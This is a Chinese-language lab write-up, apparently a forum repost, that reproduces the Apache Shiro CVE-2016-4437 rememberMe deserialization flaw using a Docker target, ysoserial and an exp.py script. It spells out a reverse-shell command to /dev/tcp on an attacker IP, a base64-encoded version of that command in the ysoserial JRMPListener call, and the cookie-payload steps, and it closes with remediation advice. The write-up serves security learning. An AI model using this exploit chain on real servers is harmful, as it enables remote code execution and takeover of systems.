搜索

[27042] 2020-07-15_漏洞复现CVE-2016-4437ApacheShiro反序列化

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-19
2020-07-15_漏洞复现CVE-2016-4437ApacheShiro反序列化 漏 洞 复 现 : C V E - 2 0 1 6 - 4 4 3 7   A p a c h e   S h i r o   反 序 列 化 原 创   守 卫 者 安 全   守 卫 者 安 全   2 0 2 0 - 0 7 - 1 5 收 录 于 话 题   # 漏 洞 复 现   , 6 个 一 、 漏 洞 描 述 A p a c h e   S h i r o 是 一 个 J a v a 安 全 框 架 ， 执 行 身 份 验 证 、 授 权 、 密 码 和 会 话 管 理 。 A p a c h e   S h i r o 框 架 提 供 了 记 住 我 （ R e m e m b e r M e ） 的 功 能 ， 关 闭 浏 览 器 再 次 访 问 时 无 需 再 登 录 即 可 访 问 。 s h i r o 默 认 使 用 C o o k i e R e m e m b e r M e M a n a g e r ， 对 r e m e m b e r M e 的 c o o k i e 做 了 加 密 处 理 ， 在 C o o k i e R e m e m b e r M e M a n a e r 类 中 将 c o o k i e 中 r e m e m b e r M e 字 段 内 容 先 后 进 行 序 列 化 、 A E S 加 密 、 B a s e 6 4 编 码 操 作 。 服 务 器 端 识 别 身 份 解 密 处 理 c o o k i e 的 流 程 则 是 ： （ 1 ） 获 取 r e m e m b e r M e   c o o k i e （ 2 ） b a s e 6 4   解 码 （ 3 ） A E S 解 密 （ 加 密 密 钥 硬 编 码 ） （ 4 ） 反 序 列 化 （ 未 作 过 滤 处 理 ） 但 是 A E S 加 密 的 密 钥 K e y 被 硬 编 码 ( 密 钥 初 始 就 被 定 义 好 不 能 动 态 改 变 的 ) 在 代 码 里 ， 这 就 意 味 着 每 个 人 通 过 源 代 码 都 能 拿 到 A E S 加 密 的 密 钥 。 因 此 ， 攻 击 者 可 以 构 造 一 个 恶 意 的 对 象 ， 并 且 对 其 序 列 化 、 A E S 加 密 、 b a s e 6 4 编 码 后 ， 作 为 c o o k i e 的 r e m e m b e r M e 字 段 发 送 。 S h i r o 将 r e m e m b e r M e 进 行 解 密 并 且 反 序 列 化 ， 最 终 就 造 成 了 反 序 列 化 的 R C E 漏 洞 。 只 要 r e m e m b e r M e 的 A E S 加 密 密 钥 泄 露 ， 无 论 s h i r o 是 什 么 版 本 都 可 能 会 导 致 该 漏 洞 的 产 生 。 漏 洞 影 响 版 本 ： A p a c h e   S h i r o   < =   1 . 2 . 4   二 、 漏 洞 环 境 搭 建 1 、 C e n t o s 7     1 9 2 . 1 6 8 . 1 . 1 0 0       服 务 器 2 、 K a l i           1 9 2 . 1 6 8 . 1 . 1 0 3       攻 击 机 ( 1 ) 首 先 在 服 务 器 上 通 过 d o c k e r 来 搭 建 A p a c h e   S h i r o 的 环 境 获 取 d o c k e r 镜 像 重 启 d o c k e r 启 动 d o c k e r 镜 像 ： 访 问 ： h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 : 8 0 8 1 /   测 试 环 境 是 否 搭 建 成 功 d o c k e r   p u l l   m e d i c e a n / v u l a p p s : s _ s h i r o _ 1 s y s t e m c t l   r e s t a r t   d o c k e r d o c k e r   r u n   - d   - p   8 0 8 1 : 8 0 8 0   m e d i c e a n / v u l a p p s : s _ s h i r o _ 1
上 述 操 作 均 是 针 对 服 务 器 ， 接 下 来 就 是 针 对 攻 击 机 所 需 要 进 行 的 相 关 安 装 配 置 操 作 了 。 ( 2 ) 安 装 j a v a 环 境 v i m   / e t c / p r o f i l e     在 底 部 添 加 环 境 配 置 保 存 完 成 之 后 ( 3 ) 安 装 m v n m k d i r   / u s r / l o c a l / j a v a / t a r   - z x v f   j d k - 8 u 2 5 1 - l i n u x - x 6 4 . t a r . g z   - C   / u s r / l o c a l / j a v a / e x p o r t   J A V A _ H O M E = / u s r / l o c a l / j a v a / j d k 1 . 8 . 0 _ 2 5 1 e x p o r t   J R E _ H O M E = $ { J A V A _ H O M E } / j r e e x p o r t   C L A S S P A T H = . : $ { J A V A _ H O M E } / l i b : $ { J R E _ H O M E } / l i b e x p o r t   P A T H = $ { J A V A _ H O M E } / b i n : $ P A T H s o u r c e   / e t c / p r o f i l e       # 使 环 境 变 量 生 效 l n   - s   / u s r / l o c a l / j a v a / j d k 1 . 8 . 0 _ 2 5 1 / b i n / j a v a   / u s r / b i n / j a v a       # 添 加 软 链 接 j a v a   - v e r s i o n         # 检 查 是 否 安 装 成 功 w g e t   h t t p : / / m i r r o r s . h u s t . e d u . c n / a p a c h e / m a v e n / m a v e n - 3 / 3 . 3 . 9 / b i n a r i e s / a p a c h e - m a v e n - 3 . 3 . 9 - b i n . t a r . g z t a r   - x v f     a p a c h e - m a v e n - 3 . 3 . 9 - b i n . t a r . g z
m v   - f   a p a c h e - m a v e n - 3 . 3 . 9   / u s r / l o c a l /       v i m   / e t c / p r o f i l e     配 置 环 境 变 量 ， 在 底 部 添 加 如 下 配 置 ( 4 ) 获 取 复 现 需 要 用 到 的 y s o s e r i a l 工 具     生 成 的 工 具 就 是 / y s o s e r i a l / t a r g e t / 目 录 下 的 y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r 文 件 三 、 漏 洞 复 现 访 问 U R L 并 通 过 b u r p 抓 包 ， 判 断 环 境 是 否 存 在 s h i r o 。 查 看 返 回 包 中 S e t - C o o k i e 中 是 否 存 在 r e m e m b e r M e = d e l e t e M e 字 段 e x p o r t   M A V E N _ H O M E = / u s r / l o c a l / a p a c h e - m a v e n - 3 . 3 . 9 e x p o r t   P A T H = $ { P A T H } : $ { M A V E N _ H O M E } / b i n s o u r c e   / e t c / p r o f i l e       # 重 载 环 境 变 量 m v n   - v         # 检 查 是 否 安 装 成 功 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / f r o h o f f / y s o s e r i a l . g i t c d   y s o s e r i a l m v n   p a c k a g e   - D   s k i p T e s t s
这 里 要 记 得 勾 选 R e m e m b e r   M e 选 项 。 然 后 进 行 抓 包 第 二 步 就 是 在 攻 击 机 中 执 行 如 下 命 令 ： （ 注 意 这 里 监 听 的 端 口 是 1 0 9 9 ） T i p s ： p a y l o a d s / J R M P C l i e n t 是 结 合 e x p l o i t / J R M P L i s t e n e r 使 用 的 。 J R M P L i s t e n e r 是 y s o s e r i a l   工 具 里 的 其 中 一 个 利 用 模 块 ， 作 用 是 通 过 反 序 列 化 ， 开 启 当 前 主 机 的 一 个   J R M P   S e r v e r   。 具 体 的 利 用 过 程 是 ， 将 反 序 列 化 数 据 发 送 到   S e r v e r 中 ， 然 后 在 S e r v e r 中 进 行 反 序 列 化 操 作 ， 并 开 启 指 定 端 口 ， 然 后 再 通 过 J R M P C l i e n t 去 发 送 攻 击   p a y l o a d ； p a y l o a d s / J R M P C l i e n t 生 成 的 p a y l o a d 是 发 送 给 目 标 服 务 器 的 ， e x p l o i t / J R M P L i s t e n e r   是 在 自 己 的 攻 击 机 上 使 用 的 。     这 里 最 后 的 b a s h 命 令 需 要 使 用 J a v a   R u n t i m e 配 置 b a s h 编 码 （ 地 址 : h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l ） 。 之 所 以 需 要 编 码 而 不 是 直 接 使 用 b a s h 命 令 是 因 为 在 e x e c ( ) 函 数 中 ， " > " 管 道 符 是 没 有 意 义 的 ， 会 被 解 析 为 其 他 的 意 义 ， 而 我 们 的 反 弹 s h e l l 命 令 中 又 必 须 使 用 ， 所 以 就 需 要 编 码 。   另 外 ， S t r i n g T o k e n i z e r 类 会 破 坏 其 中 包 含 空 格 的 参 数 ， 该 类 将 命 令 字 符 串 按 空 格 分 隔 。 比 如   l s   " M y   D i r e c t o r y " 将 被 解 释 为 l s   ' " M y '   ' D i r e c t o r y " ' 。 因 为 漏 洞 复 现 最 终 的 目 的 是 想 要 获 取 服 务 器 的 s h e l l ， 所 以 这 里 的 b a s h 命 令 是 ” b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 0 3 / 6 6 6 6   0 > & 1 ” 。 编 码 显 示 如 下 ： j a v a   - c p   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   1 0 9 9   C o m m o n s C o l l e c t i o n s 4   " b a s h 命 令 "
最 终 在 攻 击 机 上 执 行 的 命 令 如 下 ： 接 下 来 就 是 使 用 e x p . p y 生 成 p a y l o a d ( 需 要 p y t h o n 2 的 环 境 ) ， 命 令 如 下 ： 然 后 在 攻 击 机 监 听 6 6 6 6 端 口 ， 等 待 s h e l l 反 弹 最 后 在 b u r p 抓 取 的 数 据 包 中 的 c o o k i e 字 段 内 添 加 刚 生 成 的 p a y l o a d ， 然 后 将 数 据 包 放 行 数 据 包 发 送 之 后 查 看 攻 击 机 中 j a v a 监 听 接 口 和 n c 监 听 端 口 结 果 显 示 如 下 j a v a   - c p   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - a l l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   1 0 9 9   C o m m o n s C o l l e c t i o n s 4   " b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E u M T A z L z Y 2 N j Y g M D 4 m M Q = = } | { b a s e 6 4 , - d } | { b a s h , - i } " p y t h o n 2   e x p . p y   1 9 2 . 1 6 8 . 1 . 1 0 3 : 1 0 9 9       / / 攻 击 机 的 i p 地 址 和 j a v a 监 听 端 口
可 以 看 到 服 务 器 的 s h e l l 已 经 反 弹 到 了 攻 击 机 上 。 可 能 有 的 会 奇 怪 为 什 么 这 里 反 弹 回 来 的 s h e l l 的 名 字 这 么 奇 怪 ， 那 是 因 为 我 们 复 现 环 境 的 时 候 用 的 是 d o c k e r ， 所 以 会 创 建 一 个 以 C O N T A I N E R   I D 命 名 的 账 户     对 比 一 下 就 会 发 现 两 者 是 一 模 一 样 的 。 在 复 现 过 程 中 还 有 一 个 值 得 注 意 的 问 题 就 是 不 管 使 用 虚 拟 机 来 复 现 还 是 用 公 网 v p s 复 现 ， 在 监 听 j a v a 端 口 和 监 听 s h e l l 反 弹 端 口 时 都 要 放 行 所 监 听 的 端 口 ， 不 然 很 容 易 造 成 所 有 流 程 正 常 而 无 法 反 弹 s h e l l 的 问 题 。   四 、 漏 洞 修 复 方 法 升 级 s h i r o 版 本 到 1 . 2 . 5 及 以 上 ， 并 且 不 要 使 用 一 些 已 经 被 公 开 的 密 钥 ， 要 利 用 官 方 提 供 的 方 法 生 成 自 己 的 A E S 加 密 密 钥 。 漏 洞 复 现 工 具 包 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 Q D 2 H _ F p m q U 0 h K 7 u c D C J 8 s g 提 取 码 ： 4 f u y
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理